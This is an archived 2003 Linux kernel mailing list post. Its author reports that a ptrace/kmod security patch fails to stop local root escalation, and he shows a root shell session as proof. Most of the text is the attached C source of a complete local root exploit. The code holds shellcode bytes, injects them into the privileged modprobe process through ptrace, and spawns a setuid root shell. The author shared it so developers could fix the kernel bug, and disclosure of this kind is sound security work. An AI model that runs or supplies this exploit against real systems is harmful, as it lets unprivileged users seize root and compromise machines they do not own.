From: Adam Majer <adamm@galacticasoftware.com>
To: Bernhard Kaindl <bk@suse.de>
Cc: linux-kernel@vger.kernel.org, Marcelo Tosatti <marcelo@conectiva.com.br>
Subject: ptrace secfix does NOT work... :(
Date: Sat, 10 May 2003 15:52:49 -0500 [thread overview]
Message-ID: <20030510205249.GA1179@galacticasoftware.com> (raw)
In-Reply-To: <Pine.LNX.4.44.0305082310230.12720-200000@wotan.suse.de>
[-- Attachment #1: Type: text/plain, Size: 890 bytes --]
On Fri, May 09, 2003 at 12:05:52AM +0200, Bernhard Kaindl wrote:
> Hello,
>
> The attached patch cleans up the too restrictive checks which were
> included in the original ptrace/kmod secfix posted by Alan Cox
> and applies on top of a clean 2.4.20-rc1 source tree.
But the ptrace hole is _NOT_ fixed... :(
adamm@polaris:~/test$ uname -r
2.4.21-rc2
\u@\h:\w\$ ls -ltr hehe
-rw------- 1 root root 17 May 10 15:44 hehe
\u@\h:\w\$ whoami
root
\u@\h:\w\$ cat hehe
I can see you!!
\u@\h:\w\$ rm hehh
\u@\h:\w\$ ls -ltr hehe
ls: hehe: No such file or directory
I'm attaching the exploit so someone can fix the bug properly.
I could get root even with the patched 2.4.20 so I don't think
that this is the fault of the your patch.
- Adam
[-- Attachment #2: test.c --]
[-- Type: text/x-csrc, Size: 4025 bytes --]
/*
* Linux kernel ptrace/kmod local root exploit
*
* This code exploits a race condition in kernel/kmod.c, which creates
* kernel thread in insecure manner. This bug allows to ptrace cloned
* process, allowing to take control over privileged modprobe binary.
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <cliph@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;
buf[len] = '\0';
src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "[+] Signal caught\n");
if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}
void do_child(void)
{
int err;
child = getpid();
victim = child + 1;
signal(SIGCHLD, sigchld);
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1)
fatal("[-] Unable to attach");
fprintf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal\n");
for(;;);
}
void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1)
fatal("[-] Unable to stat myself");
alarm(0);
system(progname);
}
void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
fatal("[-] Unable to spawn shell");
}
}
int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);
parent = getpid();
child = fork();
victim = child + 1;
if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child();
else
do_parent(argv[0]);
return 0;
}
next prev parent reply other threads:[~2003-05-10 20:47 UTC|newest]
Thread overview: 8+ messages / expand[flat|nested] mbox.gz Atom feed top
2003-05-08 22:05 [PATCH][2.4] cleanup ptrace secfix and fix most side effects Bernhard Kaindl
2003-05-08 21:31 ` Alan Cox
2003-05-08 22:48 ` Alan Cox
2003-05-08 23:59 ` Bernhard Kaindl
2003-05-09 0:17 ` Bernhard Kaindl
2003-05-10 20:52 ` Adam Majer [this message]
2003-05-10 21:11 ` ptrace secfix does NOT work... :( Daniel Jacobowitz
2003-05-10 21:25 ` Adam Majer
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